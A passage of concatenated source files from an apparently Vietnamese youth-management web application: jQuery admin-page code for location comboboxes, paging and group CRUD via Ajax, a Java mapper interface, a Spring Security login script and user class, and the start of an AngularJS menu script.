$("#countryIdDefault").val(); var cityIdDefault = $("#cityIdDefault").val(); var districtIdDefault = $("#districtIdDefault").val(); var wardsIdDefault = $("#wardsIdDefault").val(); var townIdDefault = $("#townIdDefault").val(); var selectedCountryId = ""; // if countryIdDefault != "" then set selectedCountryId = countryIdDefault if (countryIdDefault != "") { selectedCountryId = countryIdDefault; } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); } // get cityId var selectCityId = ""; if (cityIdDefault != "") { selectCityId = cityIdDefault; } else { selectCityId = $("#cbbCity").find("option:selected").val(); } // get District var selectDistrictId = "" if (districtIdDefault != "") { selectDistrictId = districtIdDefault; } else { selectDistrictId = $("#cbbDistrict").find("option:selected").val(); } // get Wards var selectWardsId = "" if (wardsIdDefault != "") { selectWardsId = wardsIdDefault; } else { selectWardsId = $("#cbbWards").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getTownDataByWardsId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (wardsIdDefault == "") { if (i == 0) { optionStr += "<option value='" + returnedJsonData[i].townId + "' selected = 'selected'>" + returnedJsonData[i].townName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].townId + "'>" + returnedJsonData[i].townName + "</option>"; } } else { if (returnedJsonData[i].townId == townIdDefault) { optionStr += "<option value='" + returnedJsonData[i].townId + "' selected = 'selected'>" + returnedJsonData[i].townName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].townId + "'>" + returnedJsonData[i].townName + "</option>"; } } } } // set options to combobox $("#cbbTown").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbTown").prop("disabled", false); // get farm id selected by user $("#countryIdDefault").val(""); $("#cityIdDefault").val(""); $("#districtIdDefault").val(""); $("#wardsIdDefault").val(""); $("#townIdDefault").val(""); //loadDistrictDataByCityId(); } else { $("#cbbTown").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbTown").empty().append(optionStr).prop("disabled", true); } } // Clear all current text of popup controls function clearPopupControl() { // country Name $("#txtCountryNamePopup").val(""); // country Id $("#txtCountryIdPopup").val(""); // city Id $("#txtCityIdPopup").val(""); // city Name $("#txtCityNamePopup").val(""); // district Id $("#txtDistrictIdPopup").val(""); // district Name $("#txtDistrictNamePopup").val(""); // wards Id $("#txtWardsIdPopup").val(""); // wards Name $("#txtWardsNamePopup").val(""); // town Id $("#txtTownIdPopup").val(""); // town Name $("#txtTownNamePopup").val(""); // Groups $("#txtGroupsIdPopup").val(""); // Groups Name $("#txtGroupsNamePopup").val(""); // Groups Code $("#txtGroupsCodePopup").val(""); } // Change state of controls in popup based on mode function setPopupControlState(mode) { if (mode == MODE_NEW) { // set current mode currentMode = MODE_NEW; $("#txtCountryNamePopup").prop("disabled", true); $("#txtCityNamePopup").prop("disabled", true); $("#txtDistrictNamePopup").prop("disabled", true); $("#txtWardsNamePopup").prop("disabled", true); $("#txtTownNamePopup").prop("disabled", true); // Groups Id $("#txtGroupsIdPopup").prop("disabled", false); // Groups Name $("#txtGroupsNamePopup").prop("disabled", false); // Groups Code $("#txtGroupsCodePopup").prop("disabled", false); // register button $("#btnRegisterPopup").show(); } else if (mode == MODE_EDIT) { // set current mode currentMode = MODE_EDIT; // reset flag isPasswordChanged = false; $("#txtCountryNamePopup").prop("disabled", true); $("#txtCityNamePopup").prop("disabled", true); $("#txtDistrictNamePopup").prop("disabled", true); $("#txtWardsNamePopup").prop("disabled", true); $("#txtTownNamePopup").prop("disabled", true); // Groups Id $("#txtGroupsIdPopup").prop("disabled", false); // Groups Name $("#txtGroupsNamePopup").prop("disabled", false); // Groups Code $("#txtGroupsCodePopup").prop("disabled", false); // register button $("#btnRegisterPopup").show(); } else if (mode == MODE_VIEW) { // set current mode currentMode = MODE_VIEW; // reset flag isPasswordChanged = false; $("#txtCountryNamePopup").prop("disabled", true); $("#txtCityNamePopup").prop("disabled", true); $("#txtDistrictNamePopup").prop("disabled", true); $("#txtWardsNamePopup").prop("disabled", true); $("#txtTownNamePopup").prop("disabled", true); // Groups Id $("#txtGroupsIdPopup").prop("disabled", true); // Groups Name $("#txtGroupsNamePopup").prop("disabled", true); // Groups Code $("#txtGroupsCodePopup").prop("disabled", true); // register button $("#btnRegisterPopup").hide(); } } // display current date $("#txtCurrentDate").text(" " + getCurrentDate() + " (" + DAY_OF_WEEK + ") " + getCurrentTime()); // Page First button click event process $("#btnFirst").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage > 1) { var newPage = 1; goToPage(newPage); } } }); // Page Previous button click event process $("#btnPrevious").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage > 1) { var newPage = currentPage - 1; goToPage(newPage); } } }); // Page Next button click event process $("#btnNext").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage < maxPage) { var newPage = currentPage + 1; goToPage(newPage); } } }); // Page Last button click event process $("#btnLast").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage < maxPage) { var newPage = maxPage; goToPage(newPage); } } }); // Search button event process $("#btnSearch").bind("click", function() { countStt = 0; $(".alert").addClass("display-none"); setTimeout(function() { // reset variables resetVariables(); // draw table drawResult = drawTable(); if (drawResult != "") { // update total data count UI setDataCounts(); } }, 10); }); // Update total data count process function setDataCounts() { $("#txtCounts").text(totalResultCount.toString().replace(/^(-?\d+)(\d{3})/, "$1,$2")); } // Reset variables process function resetVariables() { totalResultCount = 0; currentPage = 1; from = 0; } // Check Page input $("#txtGoToPage").bind("keyup", function() { var value = parseInt($(this).val()); if (value > 0) { $("#btnGoToPage").prop("disabled", false); $("#btnGoToPage").css("cursor", "pointer"); } if (isNaN(value) || $(this).val() == "" || (currentPage == maxPage && (maxPage == 1 || maxPage == 0))) { $("#btnGoToPage").prop("disabled", true); $("#btnGoToPage").css("cursor", "default"); } }); $("#txtGoToPage").bind("keydown", function(event) { // Allow: backspace, delete, tab, escape, enter if ($.inArray(event.keyCode, [ 46, 8, 9, 27, 13 ]) !== -1 || // Allow: Ctrl+A, Command+A (event.keyCode == 65 && (event.ctrlKey === true || event.metaKey === true)) || // Allow: home, end, left, // right, down, up (event.keyCode >= 35 && event.keyCode <= 40)) { // let it happen, don't do anything return; } // Ensure that it is a number and stop // the keypress if ((event.shiftKey || (event.keyCode < 48 || event.keyCode > 57)) && (event.keyCode < 96 || event.keyCode > 105)) { event.preventDefault(); } }); // Page Go button click event process $("#btnGoToPage").bind("click", function() { var newPage = parseInt($("#txtGoToPage").val()); if (newPage >= 1 && newPage <= maxPage && maxPage > 0) { currentPage = newPage; goToPage(currentPage); } else if (newPage >= 1 && newPage > maxPage && maxPage > 0) { newPage = maxPage; goToPage(newPage); } else if (newPage == 0 && maxPage > 0) { newPage = 1; goToPage(newPage); } }); // Get data of search result based on page number function goToPage(newPage) { setTimeout(function() { // newPage is 0-index based newPage = parseInt(newPage) - 1; from = parseInt(ITEM_IN_ONE_PAGE) * newPage; // draw new data var drawResult = drawTable(); if (drawResult != "") { currentPage = newPage + 1; // update pager $("#lblCurrentPage").text(currentPage); $("#lblMaxPage").text(maxPage); setPagerStatus(); } // update total data count UI setDataCounts(); }, 10); } // Update UI of pager based on search result function setPagerStatus() { $("#txtGoToPage").val(""); if (parseInt(totalResultCount) > 0) { if (parseInt(maxPage) == 1) { $("#btnFirst").addClass("disabled"); $("#btnPrevious").addClass("disabled"); $("#btnNext").addClass("disabled"); $("#btnLast").addClass("disabled"); } else { if (currentPage == 1) { $("#btnFirst").addClass("disabled"); $("#btnPrevious").addClass("disabled"); $("#btnNext").removeClass("disabled"); $("#btnLast").removeClass("disabled"); } if (currentPage > 1 && currentPage < maxPage) { $("#btnFirst").removeClass("disabled"); $("#btnPrevious").removeClass("disabled"); $("#btnNext").removeClass("disabled"); $("#btnLast").removeClass("disabled"); } if (currentPage == maxPage) { $("#btnFirst").removeClass("disabled"); $("#btnPrevious").removeClass("disabled"); $("#btnNext").addClass("disabled"); $("#btnLast").addClass("disabled"); } } } else { $("#btnFirst").addClass("disabled"); $("#btnPrevious").addClass("disabled"); $("#btnNext").addClass("disabled"); $("#btnLast").addClass("disabled"); $("#txtGoToPage").prop("readonly", true); } } // Register button in popup click event process $("#btnRegisterPopup").bind("click", function() { var dataObject = null; // check current mode if (currentMode == MODE_NEW) { // check for cate Name input if (!checkInputBlankFields()) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else { // insert new cate to DB // get cate input data dataObject = createTownDataObject(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "insertData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // check returned value from server if (returnedJsonData == VALIDATE_BLANK_FIELDS) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else if (returnedJsonData == VALIDATE_WRONG_FORMAT) { // id is in wrong format // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_SUCCESSFUL) { // search data again // reset variables resetVariables(); // reset search conditions resetSearchConditions(); // draw table drawResult = drawTable(); if (drawResult != "") { // update total data count UI setDataCounts(); } // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + INSERT_RESULT_SUCCESSFUL_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_DUPLICATED) { // duplicated cate id // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_DUPLICATED_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } } else if (currentMode == MODE_EDIT) { // check for cate input if (!checkInputBlankFields()) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else { // update existing cate in DB // get cate input data dataObject = createTownDataObject(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "updateData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // check returned value from server if (returnedJsonData == VALIDATE_BLANK_FIELDS) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else if (returnedJsonData == UPDATE_RESULT_SUCCESSFUL) { // update the corresponding cate data in search table // make Ajax call to server to get data $.ajax({ url: "getSingleData", data: { "groupsId": $("#txtGroupsIdPopup").val() }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // District Code $("#row" + selectedRowIndex).find("td").eq(1).text(returnedJsonData.groupsCode); // District name $("#row" + selectedRowIndex).find("td").eq(2).text(returnedJsonData.groupsName); // Update by $("#row" + selectedRowIndex).find("td").eq(4).text(returnedJsonData.updateUserId); } }, complete: function(jqXHR, textStatus) { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + UPDATE_RESULT_SUCCESSFUL_MESSAGE); } }); } else if (returnedJsonData == UPDATE_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + UPDATE_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } } }); // Search conditions object creation process function createSearchConditions() { // country Id var countryIdDefault = $("#countryIdDefault").val(); var countryId = $("#cbbCountry").val(); if (countryIdDefault != "") { if (countryIdDefault != "") { if (countryId != null) { countryId = countryIdDefault; } else { countryId = STATUS_NO_SELECT; } } } // city var cityIdDefault = $("#cityIdDefault").val(); var cityId = $("#cbbCity").val(); if (cityIdDefault != "") { if (cityId != null) { cityId = cityIdDefault; } else { cityId = STATUS_NO_SELECT; } } // dsitrict Id var districtIdDefault = $("#districtIdDefault").val(); var districtId = $("#cbbDistrict").val(); if (districtIdDefault != "") { if (districtId != null) { districtId = districtIdDefault; } else { districtId = STATUS_NO_SELECT; } } // wards Id var wardsIdDefault = $("#wardsIdDefault").val(); var wardsId = $("#cbbWards").val(); if (wardsIdDefault != "") { if (wardsIdDefault != "") { if (wardsId != null) { wardsId = wardsIdDefault; } else { wardsId = STATUS_NO_SELECT; } } } // town Id var townIdDefault = $("#townIdDefault").val(); var townId = $("#cbbTown").val(); if (townIdDefault != "") { if (townIdDefault != "") { if (wardsId != null) { townId = townIdDefault; } else { townId = STATUS_NO_SELECT; } } } return { countryId: countryId, cityId: cityId, districtId: districtId, wardsId: wardsId, townId: townId, groupsCode: $("#txtGroupsCode").val(), groupsName: $("#txtGroupsName").val(), fromRow: from, itemCount: ITEM_IN_ONE_PAGE }; } // Draw cate data table based on search conditions function drawTable() { $(".alert").addClass("display-none"); // variables definition var returnValue = ""; var dataObject = null; // get search conditions dataObject = createSearchConditions(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "searchData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // set the real search total count totalResultCount = returnedJsonData[0].searchDataTotalCounts; if (parseInt(totalResultCount) == -1) { // OutOfMemoryException, display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + SEARCH_RESULT_OUT_OF_MEMORY_MESSAGE); } else { // calculate max page var calculatedResultOdd = parseInt(totalResultCount) % parseInt(ITEM_IN_ONE_PAGE); var calculatedResult = Math.floor(parseInt(totalResultCount) / parseInt(ITEM_IN_ONE_PAGE)); maxPage = (calculatedResultOdd == 0) ? calculatedResult : (calculatedResult + 1); // update pager $("#lblCurrentPage").text(currentPage); $("#lblMaxPage").text(maxPage); // clear table $("#example2").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < returnedJsonData.length; i++) { countStt++; // row open tag tableStringArray.push("<tr id='row" + i + "'>"); // STT tableStringArray.push("<td class='align-center'>" + countStt + "</td>"); // district Code tableStringArray.push("<td class='align-center' id= '"+returnedJsonData[i].cityId+"' name = '"+returnedJsonData[i].groupsId+"' districtId = '"+returnedJsonData[i].districtId+"' wardsId = '"+returnedJsonData[i].wardsId+"' townId = '"+returnedJsonData[i].townId+"' groupsId = '"+returnedJsonData[i].groupsId+"'>" + returnedJsonData[i].groupsCode + "</td>"); // district name tableStringArray.push("<td class='align-center' id = '" + returnedJsonData[i].groupsId + "' >" + returnedJsonData[i].groupsName + "</td>"); // create By tableStringArray.push("<td class='align-center'>" + returnedJsonData[i].createUserId + "</td>"); // update by tableStringArray.push("<td class='align-center'>" + returnedJsonData[i].updateUserId + "</td>"); // Button tableStringArray.push('<td><div class="btn-group">'+ '<button type="button" class="btn bg-info">Action</button>'+ '<button type="button"'+ 'class="btn bg-info dropdown-toggle"'+ 'data-toggle="dropdown">'+ '<span class="caret"></span> <span class="sr-only">Toggle'+ 'Dropdown</span>'+ '</button>'+ '<ul class="dropdown-menu" role="menu">'+ '<li><a class = "edit" data-toggle="modal"'+ 'data-target="#modal-default" name="' + i + '">Edit</a></li>'+ '<li><a class = "view" data-toggle="modal"'+ 'data-target="#modal-default" name="' + i + '">View</a></li>'+ '<li><a class = "delete" name="' + i + '">Delete</a></li>'+ '</ul>'); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#example2").append(tableStringArray.join('')); $(".pager").removeClass("display-none"); setDataCounts(); setPagerStatus(); } } else { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + SEARCH_RESULT_NO_DATA_MESSAGE); // update pager $("#lblCurrentPage").text("0"); $("#lblMaxPage").text("0"); $("#divHead").addClass("display-none"); $(".pager").addClass("display-none"); // clear table $("#example2").find("tbody").remove(); totalResultCount = 0; // update total data count UI setDataCounts(); setPagerStatus(); } returnValue = totalResultCount; }, error: function(e) { // set return value returnValue = ""; // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); return returnValue; } // cate data object creation process, to use in Updating and Inserting cate function createTownDataObject() { return { countryId: $("#txtCountryIdPopup").val(), cityId: $("#txtCityIdPopup").val(), districtId: $("#cbbDistrict").find("option:selected").val(), wardsId: $("#cbbWards").find("option:selected").val(), townId: $("#cbbTown").find("option:selected").val(), groupsId: $("#txtGroupsIdPopup").val(), groupsCode: $("#txtGroupsCodePopup").val(), groupsName: $("#txtGroupsNamePopup").val(), }; } // Delete cate click event process $(document).on("click", ".delete", function() { countStt = 0; // get row index selectedRowIndex = $(this).attr("name"); // display confirmation message jQuestion_warning(DELETE_CONFIRM_MESSAGE, DIALOG_TITLE, DIALOG_YES_BUTTON, DIALOG_NO_BUTTON, function(val) { if (val) { // get id of selected cate groupsIdPopup = $("#row" + selectedRowIndex).find("td").eq(1).attr("groupsId"); // make Ajax call to server to delete data $.ajax({ url: "deleteData", data: { "groupsId": groupsIdPopup }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // check returned value from server if (returnedJsonData == DELETE_RESULT_SUCCESSFUL) { // search data again // reset variables resetVariables(); // reset search conditions resetSearchConditions(); // draw table drawResult = drawTable(); if (drawResult != "") { // update total data count UI setDataCounts(); } // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + DELETE_RESULT_SUCCESSFUL_MESSAGE); } else if (returnedJsonData == DELETE_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + DELETE_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } }); }); $(document).on("click", ".edit", function() { // get row index selectedRowIndex = $(this).attr("name"); // get id of selected cate groupsIdPopup = $("#row" + selectedRowIndex).find("td").eq(1).attr("groupsId"); // make Ajax call to server to get data $.ajax({ url: "getSingleData", data: { "groupsId": groupsIdPopup }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // clear all current text of popup controls clearPopupControl(); if (countryData != "") { for (var i = 0; i < countryData.length; i++) { if (countryData[i].countryId == returnedJsonData.countryId) { $("#txtCountryNamePopup").val(countryData[i].countryName); $("#txtCountryIdPopup").val(countryData[i].countryId); } } } if (cityData != "") { for (var i = 0; i < cityData.length; i++) { if (cityData[i].cityId == returnedJsonData.cityId) { $("#txtCityNamePopup").val(cityData[i].cityName); $("#txtCityIdPopup").val(cityData[i].cityId); } } } if (districtData != "") { for (var i = 0; i < districtData.length; i++) { if (districtData[i].districtId == returnedJsonData.districtId) { $("#txtDistrictNamePopup").val(districtData[i].districtName); $("#txtDistrictIdPopup").val(districtData[i].districtId); } } } if (wardsData != "") { for (var i = 0; i < wardsData.length; i++) { if (wardsData[i].wardsId == returnedJsonData.wardsId) { $("#txtWardsNamePopup").val(wardsData[i].wardsName); $("#txtWardsIdPopup").val(wardsData[i].wardsId); } } } if (townData != "") { for (var i = 0; i < townData.length; i++) { if (townData[i].townId == returnedJsonData.townId) { $("#txtTownNamePopup").val(townData[i].townName); $("#txtTownIdPopup").val(townData[i].townId); } } } // groups code $("#txtGroupsCodePopup").val(returnedJsonData.groupsCode); // groups id $("#txtGroupsIdPopup").val(returnedJsonData.groupsId); // groups name $("#txtGroupsNamePopup").val(returnedJsonData.groupsName); // change state of controls in popup based on mode setPopupControlState(MODE_EDIT); } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); }); $(document).on("click", ".view", function() { // get row index selectedRowIndex = $(this).attr("name"); // get id of selected cate groupsIdPopup = $("#row" + selectedRowIndex).find("td").eq(1).attr("groupsId"); // make Ajax call to server to get data $.ajax({ url: "getSingleData", data: { "groupsId": groupsIdPopup }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // clear all current text of popup controls clearPopupControl(); if (countryData != "") { for (var i = 0; i < countryData.length; i++) { if (countryData[i].countryId == returnedJsonData.countryId) { $("#txtCountryNamePopup").val(countryData[i].countryName); $("#txtCountryIdPopup").val(countryData[i].countryId); } } } if (cityData != "") { for (var i = 0; i < cityData.length; i++) { if (cityData[i].cityId == returnedJsonData.cityId) { $("#txtCityNamePopup").val(cityData[i].cityName); $("#txtCityIdPopup").val(cityData[i].cityId); } } } if (districtData != "") { for (var i = 0; i < districtData.length; i++) { if (districtData[i].districtId == returnedJsonData.districtId) { $("#txtDistrictNamePopup").val(districtData[i].districtName); $("#txtDistrictIdPopup").val(districtData[i].districtId); } } } if (wardsData != "") { for (var i = 0; i < wardsData.length; i++) { if (wardsData[i].wardsId == returnedJsonData.wardsId) { $("#txtWardsNamePopup").val(wardsData[i].wardsName); $("#txtWardsIdPopup").val(wardsData[i].wardsId); } } } if (townData != "") { for (var i = 0; i < townData.length; i++) { if (townData[i].townId == returnedJsonData.townId) { $("#txtTownNamePopup").val(townData[i].townName); $("#txtTownIdPopup").val(townData[i].townId); } } } // groups code $("#txtGroupsCodePopup").val(returnedJsonData.groupsCode); // groups id $("#txtGroupsIdPopup").val(returnedJsonData.groupsId); // groups name $("#txtGroupsNamePopup").val(returnedJsonData.groupsName); // change state of controls in popup based on mode setPopupControlState(MODE_VIEW); } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); }); // Reset search conditions process function resetSearchConditions() { $("#txtCountryNamePopup").val(""); $("#txtCityNamePopup").val(""); $("#txtDistrictNamePopup").val(""); $("#txtWardsNamePopup").val(""); $("#txtTownNamePopup").val(""); $("#txtGroupsIdPopup").val(""); $("#txtGroupsCodePopup").val(""); $("#txtGroupsNamePopup").val(""); } // Check input: blank fields function checkInputBlankFields() { if ($("#txtGroupsNamePopup").val() == "" || $("#txtGroupsCodePopup").val() == "") { return false; } else { return true; } } // Get data for combobox country function initComboboxData(isPopupMode) { // country var countryIdDefault = $("#countryIdDefault").val(); if (countryData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < countryData.length; i++) { if (countryIdDefault != "") { if (countryIdDefault == countryData[i].countryId) { optionStr += "<option value='" + countryData[i].countryId + "' selected = 'selected'>" + countryData[i].countryName + "</option>"; $('#textCountryName').text(countryData[i].countryName); } else { optionStr += "<option value='" + countryData[i].countryId + "'>" + countryData[i].countryName + "</option>"; } } else { if (i == 0) { optionStr += "<option value='" + countryData[i].countryId + "' selected = 'selected'>" + countryData[i].countryName + "</option>"; $('#textCountryName').text(countryData[i].countryName); } else { optionStr += "<option value='" + countryData[i].countryId + "'>" + countryData[i].countryName + "</option>"; } } } // check whether to fill data in main screen or popup screen if (!isPopupMode) { $("#cbbCountry > ").empty() $("#cbbCountry").append(optionStr); } } loadCityDataCombobox(); drawTable(); } })``` Sym0043Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.ArrayList; import java.util.Map; import vn.youthmanager.ict.common.db.model.QltnMFamilyRelatives; import vn.youthmanager.ict.common.db.model.QltnMPerson; import vn.youthmanager.ict.common.db.model.QltnMProcessPerson; public interface Sym0043Mapper { String getLastIdPerson(Map<String, Object> params); String getLastIdNoteReport(Map<String, Object> params); String getLastIdProcessPerson(Map<String, Object> params); String getLastIdFamilyRelatives(Map<String, Object> params); ArrayList<QltnMProcessPerson> getProcessEdit(Map<String, Object> params); ArrayList<QltnMFamilyRelatives> getRelationShipOfPersonEdit(Map<String, Object> params); ArrayList<QltnMPerson> getLastSTTPerson(Map<String, Object> params); } ``` 3dbf17be94240650d52409e863857ef2fba9bbf6.svn-base ``` $(document).ready(function() { // get application url var rootPath = getContextPath(); // Login button event process $("#btnLogin").bind("click", function() { var username = $("#j_username").val(); var password = $("#j_password").val(); var login_ret = login(username, password, "j_spring_security_check"); switch (login_ret) { case 0: // success // redirect to home page var url = rootPath + "/searchFarmScreen/"; window.location.href = url; break; case 1: // wrong user name or password // redirect to authentication error page var url = rootPath + "/autherror"; window.location.href = url; break; case 2: // connection error // show error message alert("error!"); break; default: // unknown error break; } }); /** * execute login to system * @param username * @param password * @param login_url authenticating url * @return login result * 0: success * 1: wrong username or password * 2: connection error * -1: known error */ function login(username, password, login_url) { var login_ret = -1; $.ajax({ type: "POST", url: login_url, async: false, data: {"j_username": username, "j_password": password}, success: function(data) { if (checkLoginSuccess(data) == 0) { // success login_ret = 0; } else { // wrong username or password login_ret = 1; } }, error: function(e) { // connection error login_ret = 2; }, complete: function(jqXHR,textStatus) { } }); return login_ret; } function checkLoginSuccess(object) { if (object.constructor === "string".constructor) { if (object.indexOf("/resources/js/load_calendar.js") > -1) { return 0; } } return 1; } });``` MyUser.java ```package vn.bananavietnam.ict.common.auth; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.Collection; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.userdetails.User; /** * Store User's information */ public class MyUser extends User { private static final long serialVersionUID = 1L; private final String ID; private final String USERNAME; private final String USERFULLNAME; private final ArrayList<String> SCREENID; public MyUser(String username, String password, boolean enabled, boolean accountNonExpired, boolean credentialsNonExpired, boolean accountNonLocked, Collection<? extends GrantedAuthority> authorities, ResultSet rs) throws SQLException { super(username, password, enabled, accountNonExpired, credentialsNonExpired, accountNonLocked, authorities); ID = rs.getString("id"); USERNAME = rs.getString("username"); USERFULLNAME = rs.getString("userfullname"); SCREENID = new ArrayList<String>(); SCREENID.add(rs.getString("screenid")); while (rs.next()) { String screenId = rs.getString("screenid"); if (!SCREENID.contains(screenId)) { SCREENID.add(screenId); } } } public MyUser(String username, String password, boolean enabled, boolean accountNonExpired, boolean credentialsNonExpired, boolean accountNonLocked, Collection<? extends GrantedAuthority> authorities, MyUser myUser) throws SQLException { super(username, password, enabled, accountNonExpired, credentialsNonExpired, accountNonLocked, authorities); ID = myUser.getID(); USERNAME = myUser.getUsername(); USERFULLNAME = myUser.getUSERFULLNAME(); SCREENID = myUser.getSCREENID(); } public String getID() { return ID; } public String getUSERNAME() { return USERNAME; } public String getUSERFULLNAME() { return USERFULLNAME; } public ArrayList<String> getSCREENID() { return SCREENID; } } ``` main.js ```/** * */ $(document).ready(function(){ function openTab(evt, cityName) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablinks"); for (i = 0; i < tablinks.length; i++) { tablinks[i].className = tablinks[i].className.replace(" active", ""); } document.getElementById(cityName).style.display = "block"; evt.currentTarget.className += " active"; } var System = angular.module("System", []); System.controller('Manager', function($scope) { $scope.Manager = { Manager:[ { link: rootPath +"0003/", image:"../resources/img/image_user.jpg", title:"Quản Lý Manager", kind: "Manager" }, { link: rootPath +"0040/", image:"../resources/img/Kdm-user-male-icon.png", title:"Quản Lý Thanh Niên", kind: "Thanh Niên" }, { link: rootPath +"0009/", image:"../resources/img/category-icon.png", title:"Thiết Lập Dạng Thanh Niên", kind: "Dạng Thanh Niên" }, { link: rootPath +"0005/", image:"../resources/img/medical-report-icon.png", title:"Biểu Mẫu Báo Cáo", kind: "Biểu Mẫu Báo Cáo" }, { link: rootPath +"0003/", image:"../resources/img/Notepad-Bloc-notes-icon.png", title:"Ghi Chú Cho Từng Biểu Mẫu", kind: "Ghi Chú" }, { link: rootPath +"0006/", image:"../resources/img/Actions-view-list-details-icon.png", title:"Chi Tiết Mục Lục Của Biểu Mẫu", kind: "Chi Tiết Biểu Mẫu" }, { link: rootPath +"0025/", image:"../resources/img/Mimetypes-application-x-qet-element-icon.png", title:"Quản Lý Tiêu Chí Cho Biểu Mẫu", kind: "Tiêu Chí Biểu 